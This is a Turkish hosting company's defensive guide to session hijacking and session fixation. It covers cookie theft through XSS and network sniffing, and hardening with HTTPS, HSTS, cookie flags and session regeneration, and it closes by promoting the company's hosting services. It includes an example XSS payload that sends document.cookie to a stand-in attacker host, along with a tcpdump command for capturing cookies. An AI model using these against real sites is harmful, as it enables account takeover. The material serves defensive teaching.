Oturum Ele Geçirme (Session Hijacking) Nedir?

Bir kullanıcı sitenize kullanıcı adı ve parolasıyla giriş yaptığında, sunucu her tıklamada bu bilgileri tekrar tekrar sormaz. Bunun yerine giriş anında rastgele ve benzersiz bir "oturum kimliği" (session ID) üretir, bunu tarayıcıya bir çerez olarak gönderir ve sonraki her istekte bu kimliği kabul eder. Yani oturum kimliği, o an için parolanın yerine geçen geçici bir anahtardır. İşte oturum ele geçirme (session hijacking), tam olarak bu anahtarın bir saldırganın eline geçmesi ve saldırganın onu kullanarak kurbanın hesabına parola bilmeden girmesidir.

Sorun şu ki, çalınan oturum kimliğiyle giriş yapan saldırgan sistemin gözünde meşru kullanıcıdan ayırt edilemez; iki faktörlü doğrulamayı bile atlar, çünkü doğrulama zaten giriş anında yapılıp bitmiştir. Bu rehberde oturum kimliğinin nasıl çalışıp taklit edildiğini, bunun yakın akrabası olan session fixation (oturum sabitleme) saldırısından farkını, çerezlerin XSS ve ağ dinlemesiyle nasıl ele geçirildiğini ve en önemlisi HTTPS, HttpOnly/Secure/SameSite bayrakları, oturum yenileme ve IP/tarayıcı doğrulaması gibi katmanlarla kendinizi nasıl koruyacağınızı, kıdemli bir sistem yöneticisinin gözünden pratik örneklerle anlatacağım.

Oturum Kimliği Nasıl Çalışır?#

HTTP protokolü doğası gereği "durumsuzdur" (stateless): sunucu, iki isteği kendi başına birbirine bağlayamaz. Oturumlar bu boşluğu doldurur. Kullanıcı giriş yaptığında sunucu tarafında bir oturum kaydı açılır ve buna karşılık gelen benzersiz kimlik tarayıcıya çerezle iletilir. Klasik bir PHP oturum çerezi şöyle görünür:

Set-Cookie: PHPSESSID=8f4b1c9a2e7d3f6b0a5c1e8d9f2b4a6c; path=/; HttpOnly; Secure; SameSite=Lax

Buradaki 8f4b1c9a... değeri oturumun kimliğidir. Sunucu bu değeri kendi tarafında kimin, ne zaman giriş yaptığı, sepette ne olduğu gibi bilgilerle eşler. Tarayıcı sonraki her istekte bu çerezi otomatik olarak geri gönderir:

GET /panel/faturalar HTTP/1.1
Host: ornek.com
Cookie: PHPSESSID=8f4b1c9a2e7d3f6b0a5c1e8d9f2b4a6c

Bu mekanizmanın zayıf noktası açık: kimlik değeri parola kadar hassastır, ama parolanın aksine her istekte ağ üzerinde dolaşır ve tarayıcıda saklanır. Bir saldırgan bu değerin tam kopyasını ele geçirirse, kendi tarayıcısına aynı çerezi yerleştirdiğinde sunucu onu meşru kullanıcı sanar. Parola karmaşıklığı, e-posta doğrulaması, hatta 2FA bu noktada devreye girmez; çünkü oturum kimliği bunların hepsi geçildikten sonra üretilmiş bir "giriş kartıdır". İşte bu yüzden oturum kimliğinin hem tahmin edilemez hem de gizli kalması, uygulama güvenliğinin temel taşlarından biridir.

Session Hijacking ile Session Fixation Farkı#

Bu iki terim sık karıştırılır ama saldırının mantığı taban tabana zıttır. Session hijacking (ele geçirme) reaktiftir: kullanıcı giriş yaptıktan sonra oluşan geçerli oturum kimliğini saldırgan bir şekilde çalar. Session fixation (sabitleme) ise proaktiftir: saldırgan, kurban henüz giriş yapmadan ona kendi seçtiği bir oturum kimliğini dayatır ve kurban o kimlikle giriş yapınca oturumu devralır.

Fixation saldırısının klasik senaryosu şöyle işler: Saldırgan siteyi ziyaret eder, kendisine PHPSESSID=ABC123 gibi bir oturum kimliği verilir. Sonra kurbana bu kimliği taşıyan bir bağlantı yollar (https://ornek.com/giris?PHPSESSID=ABC123). Zayıf yazılmış bir uygulama URL'deki bu kimliği kabul eder. Kurban tıklar, kendi kullanıcı adı ve parolasıyla giriş yapar; ama sunucu giriş sonrası yeni bir kimlik üretmediği için oturum hâlâ ABC123'tür. Saldırgan bu kimliği zaten bildiği için artık kurbanın oturumunda oturmaktadır.

İki saldırının pratik farkını şöyle özetleyebiliriz:

Fixation'a karşı en etkili tek savunma basittir ve her framework'te vardır: kullanıcı başarıyla giriş yaptığı anda oturum kimliğini yeniden üretmek. PHP'de bu tek satırdır:

// Kullanıcı doğrulandıktan HEMEN sonra
session_regenerate_id(true); // eski oturum verisini yeni kimliğe taşır, eskisini siler

Bu satır çalıştığında saldırganın dayattığı ABC123 değeri geçersiz kalır; giriş yapan kurban artık sadece kendisinin bildiği yepyeni bir kimlikle devam eder. Aynı yaklaşımı yetki yükseltilen her noktada (örneğin normal kullanıcıdan yöneticiye geçişte) tekrarlamak, savunmayı daha da sağlamlaştırır.

Çerez Nasıl Çalınır? XSS Yolu#

Oturum kimliğini çalmanın en yaygın yolu XSS (Cross-Site Scripting) zafiyetidir. Uygulama, kullanıcıdan gelen bir veriyi (yorum, isim, arama terimi) yeterince temizlemeden sayfaya bastığında, saldırgan bu alana JavaScript kodu yerleştirebilir. Kurban o sayfayı açtığında kod, kurbanın tarayıcısında, kurbanın oturumu altında çalışır. Klasik hırsızlık yükü şuna benzer:

<script>
  new Image().src =
    "https://saldirgan.com/topla?c=" + encodeURIComponent(document.cookie);
</script>

Burada document.cookie tarayıcıdaki çerezleri düz metin olarak okur ve saldırganın sunucusuna bir resim isteği gibi kaçırır. Saldırgan sunucusunun günlüklerine düşen bu istekte kurbanın oturum kimliği yer alır. Saldırgan artık o değeri kendi tarayıcısının geliştirici konsoluna document.cookie = "PHPSESSID=..." diye yapıştırıp sayfayı yenilemesi yeterlidir; hesaba girmiştir.

Bu saldırının panzehiri ilk bakışta şaşırtıcı derecede basittir: çereze HttpOnly bayrağı eklemek. Bu bayrak, çerezin JavaScript'ten (yani document.cookie üzerinden) hiç okunamamasını sağlar; çerez yalnızca tarayıcı tarafından otomatik olarak HTTP isteklerine eklenir. Böylece bir XSS zafiyeti bulunsa bile oturum çerezi çalınamaz:

Set-Cookie: PHPSESSID=...; HttpOnly

PHP tarafında bunu php.ini ile küresel olarak zorlayabilirsiniz:

session.cookie_httponly = 1
session.cookie_secure   = 1
session.cookie_samesite = "Lax"
session.use_strict_mode = 1

Elbette HttpOnly yalnızca çerez hırsızlığını engeller; XSS'in kendisini çözmez. Saldırgan çerezi okuyamasa da kurbanın tarayıcısında istek yaptırmaya (örneğin para transferi tetiklemeye) devam edebilir. Bu yüzden asıl çözüm, girdiyi çıktı bağlamına göre kaçırmak (output encoding), bir İçerik Güvenlik Politikası (CSP) uygulamak ve sitenizin önüne bir güvenlik katmanı koymaktır. Uygulama katmanı saldırılarına karşı web uygulama güvenlik duvarı (WAF) yazımızda anlattığımız kurallar, birçok XSS denemesini daha sunucuya ulaşmadan durdurur.

Çerez Nasıl Çalınır? Ağ Dinleme (Sniffing) Yolu#

İkinci büyük çalma yolu, çerezin ağ üzerinde yolculuk ederken yakalanmasıdır. Trafik şifresiz HTTP üzerinden akıyorsa, oturum çerezi her istekte düz metin olarak taşınır. Kurbanla sunucu arasındaki herhangi bir noktada oturan bir saldırgan bu değeri kolayca okur. Bunun en bilinen ortamı halka açık, parolasız kablosuz ağlardır: kafeler, havalimanları, oteller.

Saldırgan aynı Wi-Fi ağındaki trafiği pasif olarak dinleyebilir (tcpdump, Wireshark) veya ARP spoofing ile trafiği kendi üzerinden geçirip aktif bir "ortadaki adam" (man-in-the-middle) konumuna geçebilir. Şifresiz bir oturumun paketlerini yakalamak eğitimli bir gözde saniyeler sürer:

# Şifresiz trafikte oturum çerezini gözle görmek (yalnızca gösterim amaçlı)
sudo tcpdump -i wlan0 -A -s 0 'tcp port 80' | grep -i "Cookie:"

Bu satır çalıştığında, ağdaki HTTP isteklerinin Cookie: başlıkları — yani oturum kimlikleri — ekrana düşer. HTTPS kullanan bir sitede aynı komut yalnızca şifreli, anlamsız baytlar gösterir; işte tek ve kesin savunma budur: tüm siteyi baştan sona HTTPS'e taşımak. Sertifikayı kurmak yeterli değildir; HTTP'den HTTPS'e zorunlu yönlendirme yaparak hiçbir isteğin şifresiz kanala düşmediğinden emin olmalısınız. Bunun doğru yapılışını HTTPS yönlendirme rehberimizde adım adım bulabilirsiniz.

Şifrelemeye ek olarak, çereze Secure bayrağını eklemek kritik bir sigortadır. Bu bayrak, çerezin yalnızca HTTPS bağlantılarında gönderilmesini garanti eder; kullanıcı yanlışlıkla http:// adresine düşse bile tarayıcı oturum çerezini o şifresiz isteğe eklemez, dolayısıyla dinleyen saldırgan eline geçmez. Nginx'te güvenli başlıkları ve yönlendirmeyi birlikte tanımlamak isterseniz:

server {
    listen 80;
    server_name ornek.com;
    return 301 https://$host$request_uri;   # tüm HTTP trafiğini HTTPS'e taşı
}

server {
    listen 443 ssl;
    server_name ornek.com;
    # ... ssl_certificate satırları ...

    add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
    add_header X-Content-Type-Options "nosniff" always;
}

Buradaki Strict-Transport-Security (HSTS) başlığı, tarayıcıya "bu siteye bundan sonra bir yıl boyunca yalnızca HTTPS ile bağlan" der; ilk şifresiz isteği bile ortadan kaldırarak sniffing penceresini tümüyle kapatır.

Çerez Bayrakları: HttpOnly, Secure ve SameSite#

Oturum güvenliğinin belkemiği, çerezleri süsleyen üç küçük bayraktır. Her biri farklı bir saldırı vektörünü kapatır ve üçünü birlikte kullanmak, savunmayı katmanlı hale getirir. Aralarındaki iş bölümünü net ayırmak gerekir:

SameSite bayrağı görece yenidir ama çok değerlidir. SameSite=Lax (çoğu framework'ün varsayılanı), çerezin yalnızca kullanıcının kendi sitenizde gezinirken gönderilmesini sağlar; başka bir sitedeki formdan veya <img> etiketinden tetiklenen isteklerde çerez eklenmez. SameSite=Strict daha da katıdır ama dış bağlantıdan gelen kullanıcıyı bir an için çıkış yapmış gösterebilir. Yüksek hassasiyetli panellerde Strict, genel sitelerde Lax iyi bir dengedir.

Bu bayrakları uygulama kodunda elle de ayarlayabilirsiniz. Modern bir ifade örneği (PHP 7.3+):

session_set_cookie_params([
    'lifetime' => 0,          // tarayıcı kapanınca sil
    'path'     => '/',
    'domain'   => 'ornek.com',
    'secure'   => true,       // yalnızca HTTPS
    'httponly' => true,       // JavaScript erişemez
    'samesite' => 'Lax',      // çapraz site isteklerinde gönderme
]);
session_start();

Bir başka sık atlanan nokta oturum kimliğinin entropisidir, yani tahmin edilemezliği. Kimlik ne kadar uzun ve rastgeleyse kaba kuvvetle bulunması o kadar zorlaşır. PHP'de bunu güçlendirmek için:

session.sid_length         = 48
session.sid_bits_per_character = 6
session.use_only_cookies   = 1   ; kimliği asla URL'de taşıma (fixation önler)

session.use_only_cookies = 1 özellikle önemlidir: oturum kimliğinin URL'de görünmesini engeller, böylece kimlik ne tarayıcı geçmişine, ne sunucu günlüklerine, ne de "referrer" başlığıyla dış sitelere sızar.

Sunucu Tarafı Savunma: Yenileme ve IP/UA Doğrulaması#

Çerez bayrakları çerezin çalınmasını zorlaştırır; ama çalınırsa hasarı sınırlamak için sunucu tarafında da önlem almalısınız. İlk katman oturum ömrünü ve yenilemeyi yönetmektir. Sınırsız yaşayan bir oturum, çalındığında sonsuza dek kullanılabilir demektir. Bu yüzden hem mutlak bir süre sınırı (örneğin 8 saat sonra zorunlu tekrar giriş) hem de hareketsizlik zaman aşımı (30 dakika işlem yoksa oturumu kapat) uygulanır. Ayrıca oturum kimliğini periyodik olarak yenilemek, çalınan eski bir kimliğin ömrünü kısaltır:

// Her 15 dakikada bir kimliği tazele
if (!isset($_SESSION['son_yenileme'])) {
    $_SESSION['son_yenileme'] = time();
} elseif (time() - $_SESSION['son_yenileme'] > 900) {
    session_regenerate_id(true);
    $_SESSION['son_yenileme'] = time();
}

İkinci katman, oturumu ilk oluşturulduğu bağlama bağlamaktır (session binding). Giriş anında kullanıcının IP adresini ve tarayıcı kimliğini (User-Agent) oturumla birlikte saklar, sonraki isteklerde karşılaştırırsınız. Değerler beklenmedik biçimde değişirse oturumu güvenli tarafta kalıp sonlandırırsınız:

$parmak_izi = hash('sha256', $_SERVER['HTTP_USER_AGENT'] . '|' . $_SERVER['REMOTE_ADDR']);

if (empty($_SESSION['parmak_izi'])) {
    $_SESSION['parmak_izi'] = $parmak_izi;      // ilk istekte kaydet
} elseif (!hash_equals($_SESSION['parmak_izi'], $parmak_izi)) {
    session_unset();
    session_destroy();                          // uyuşmazlık: oturumu kapat
    header('Location: /giris');
    exit;
}

Burada bir uyarı şart: IP adresini tek başına sıkı bir kilit olarak kullanmayın. Mobil kullanıcıların IP'si baz istasyonu değiştikçe, kurumsal kullanıcıların IP'si vekil sunucu havuzları yüzünden meşru biçimde değişebilir. Katı IP kilidi, gerçek kullanıcıları sürekli oturumdan atarak destek yükü yaratır. Pratik bir denge, User-Agent'ı katı, IP'yi ise yalnızca ilk iki sekizli (subnet) düzeyinde ya da "büyük coğrafi sıçrama" mantığıyla kontrol etmektir. Sunucularınızda bu tür kuralları merkezî yönetmek isterseniz sunucu yönetimi hizmetimiz yapılandırmayı üstlenebilir.

Son bir katman, şüpheli davranışı loglamak ve gerektiğinde tüm oturumları toplu iptal edebilmektir. Kullanıcı parolasını değiştirdiğinde, o hesaba ait tüm aktif oturumları sunucu tarafında geçersiz kılmak, çalınmış bir çerezi anında etkisiz hale getirir; bu yüzden oturumları sunucu tarafında bir tabloda tutmak (yalnızca çereze güvenmek yerine) büyük fark yaratır:

-- Parola değişiminde kullanıcının tüm oturumlarını sonlandır
DELETE FROM oturumlar WHERE kullanici_id = 42;

Sık Yapılan Hatalar ve Doğru Yapılandırma#

Uygulamalarda oturum güvenliğini zayıflatan tekrar eden birkaç hatayı ve doğrusunu bir arada görmek faydalı olur. Aşağıdaki liste, denetimlerde en sık rastladığım problemleri özetliyor:

• Girişte kimliği yenilememek. En yaygın açık. Çözüm: başarılı login'den hemen sonra session_regenerate_id(true).
• Sadece HTTP kullanmak ya da karışık içerik bırakmak. Tek bir şifresiz istek bile çerezi ifşa eder. Çözüm: uçtan uca HTTPS + HSTS + Secure bayrağı.
• HttpOnly bayrağını unutmak. XSS ile çerez doğrudan çalınır. Çözüm: session.cookie_httponly = 1.
• Oturum kimliğini URL'de taşımak. ?PHPSESSID=... biçimi hem fixation'ı kolaylaştırır hem de kimliği loglara sızdırır. Çözüm: session.use_only_cookies = 1.
• Çıkışta oturumu sunucu tarafında yok etmemek. Sadece çerezi silmek yetmez; sunucudaki oturum kaydı da temizlenmelidir. Çözüm: session_unset() + session_destroy().
• Zayıf, kısa oturum kimlikleri. Tahmin edilebilir kimlikler kaba kuvvete açıktır. Çözüm: yüksek entropili, uzun kimlikler.

Bu önlemleri tek tek koda gömmek her zaman mümkün olmayabilir; özellikle hazır bir CMS ya da eski bir uygulama kullanıyorsanız. Böyle durumlarda sitenizin önüne konumlanan bir güvenlik katmanı ve düzenli yedekleme, bir açık istismar edilse bile hasarı sınırlar. WordPress gibi platformlarda oturum ve giriş güvenliğini yönetmek için WordPress bakım hizmetimiz ve otomatik yedekleme çözümlerimiz devreye girebilir. Kritik uygulamalar için kendi kaynaklarınıza sahip bir sanal ya da fiziksel sunucu üzerinde php.ini ve web sunucusu ayarlarını tam denetiminizde tutmak, paylaşımlı ortamlara göre çok daha esnek bir güvenlik duruşu sağlar.

Sıkça Sorulan Sorular#

Session hijacking ile parola çalmak aynı şey mi?#

Hayır, ikisi farklı katmanlarda çalışır. Parola çalmak kalıcı kimlik bilgisini ele geçirmektir; saldırgan istediği zaman tekrar giriş yapabilir. Session hijacking ise yalnızca o anki oturumun geçici anahtarını çalar. Oturum sona erdiğinde veya kullanıcı çıkış yaptığında çalınan kimlik genellikle işe yaramaz hale gelir. Yine de tehlikelidir, çünkü saldırgan aktif oturum süresince parolayı hiç bilmeden hesap üzerinde tam yetkiyle işlem yapabilir ve çoğu zaman 2FA'yı da atlar.

HTTPS kullanıyorum, oturumum tamamen güvende mi?#

HTTPS çok önemli bir katmandır ama tek başına yeterli değildir. HTTPS, çerezin ağ üzerinde dinlenmesini (sniffing) engeller; ancak bir XSS zafiyetiniz varsa çerez tarayıcının içinden document.cookie ile hâlâ çalınabilir. Tam koruma için HTTPS'in yanına HttpOnly bayrağı, girişte oturum yenileme, SameSite ayarı ve girdi temizliği gibi katmanları eklemeniz gerekir. Güvenlik tek bir önlemle değil, birbirini yedekleyen birkaç katmanla sağlanır.

HttpOnly bayrağı XSS saldırılarını tamamen durdurur mu?#

Hayır, HttpOnly yalnızca çerezin JavaScript ile okunmasını engeller; XSS zafiyetinin kendisini ortadan kaldırmaz. Bir saldırgan çerezi okuyamasa bile, kurbanın tarayıcısında onun oturumu altında istekler yaptırabilir; örneğin ayarları değiştirebilir ya da bir işlemi tetikleyebilir. Bu yüzden HttpOnly çerez hırsızlığına karşı çok değerli bir önlemdir, ama asıl çözüm girdiyi doğru kaçırmak, İçerik Güvenlik Politikası (CSP) uygulamak ve mümkünse bir güvenlik duvarı katmanı kullanmaktır.

Session fixation'ı önlemenin en kolay yolu nedir?#

En kolay ve en etkili yöntem, kullanıcı başarıyla giriş yaptığı anda oturum kimliğini yeniden üretmektir. PHP'de bu session_regenerate_id(true) tek satırıyla yapılır; benzer bir fonksiyon hemen her modern framework'te bulunur. Bu satır, saldırganın kurbana önceden dayattığı kimliği anında geçersiz kılar. Ek olarak oturum kimliğinin URL üzerinden değil yalnızca çerezle taşınmasını sağlamak (session.use_only_cookies = 1) fixation'ı daha da zorlaştırır.

Kullanıcının IP adresini oturuma bağlamak iyi bir fikir mi?#

Kısmen faydalıdır ama tek başına ve katı biçimde kullanılırsa sorun yaratır. Mobil kullanıcıların IP'si baz istasyonu değiştikçe, kurumsal kullanıcıların IP'si vekil sunucular yüzünden meşru şekilde değişebilir. IP'yi tam eşleşme kilidi olarak kullanırsanız gerçek kullanıcıları sürekli oturumdan atarsınız. Pratikte User-Agent kontrolünü daha katı tutmak, IP'yi ise yalnızca büyük coğrafi/subnet değişimlerinde şüpheli saymak daha dengeli bir yaklaşımdır. Amaç kullanıcıyı bunaltmadan çalınmış oturumun bağlamdan kopmasını yakalamaktır.

Halka açık Wi-Fi'de oturumum çalınabilir mi?#

Site şifresiz HTTP üzerinden çalışıyorsa evet, oldukça kolay çalınabilir; aynı ağdaki bir saldırgan trafiği dinleyerek oturum çerezinizi düz metin görebilir. Ancak site uçtan uca HTTPS kullanıyorsa ve oturum çerezinde Secure bayrağı varsa, trafik şifreli olduğu için dinleyen kişi yalnızca anlamsız baytlar görür ve çerezi okuyamaz. Bu yüzden kullanıcı olarak yalnızca https:// ile açılan sitelerde hassas işlem yapmanız, site sahibi olarak da tüm trafiği HTTPS'e zorlamanız gerekir.

Kapanış#

Oturum ele geçirme, parolanızın karmaşıklığından bağımsız olarak hesabınızı riske atan sinsi bir saldırıdır; çünkü hedefi parolanın kendisi değil, giriş sonrası üretilen geçici anahtardır. İyi haber şu ki savunması büyük ölçüde standarttır ve doğru yapılandırıldığında çok etkilidir: uçtan uca HTTPS, HttpOnly / Secure / SameSite çerez bayrakları, girişte oturum kimliğini yenileme, makul oturum ömrü ve dikkatli bir bağlam doğrulaması. Bu katmanları birlikte uyguladığınızda hem çerezin çalınmasını zorlaştırır hem de çalınsa bile ömrünü ve hasarını sınırlarsınız.

Clou.TR olarak bu güvenlik katmanlarını sizin için hazır sunuyoruz. Paylaşımlı web hosting ve WordPress hosting paketlerimizde ücretsiz SSL sertifikası ile uçtan uca HTTPS, giriş güvenliğini güçlendiren WAF koruması ve düzenli yedekleme standart olarak gelir. Uygulama katmanı ayarlarınızı tam denetiminizde tutmak isterseniz kendi kaynaklarınıza sahip sanal sunucu ve VDS çözümlerimizi inceleyebilir, dilerseniz tüm sertleştirme ve izleme işini sunucu yönetimi hizmetimize bırakabilirsiniz. Hesaplarınızı ve müşterilerinizin verilerini korumak, doğru altyapıyla düşündüğünüzden çok daha kolay.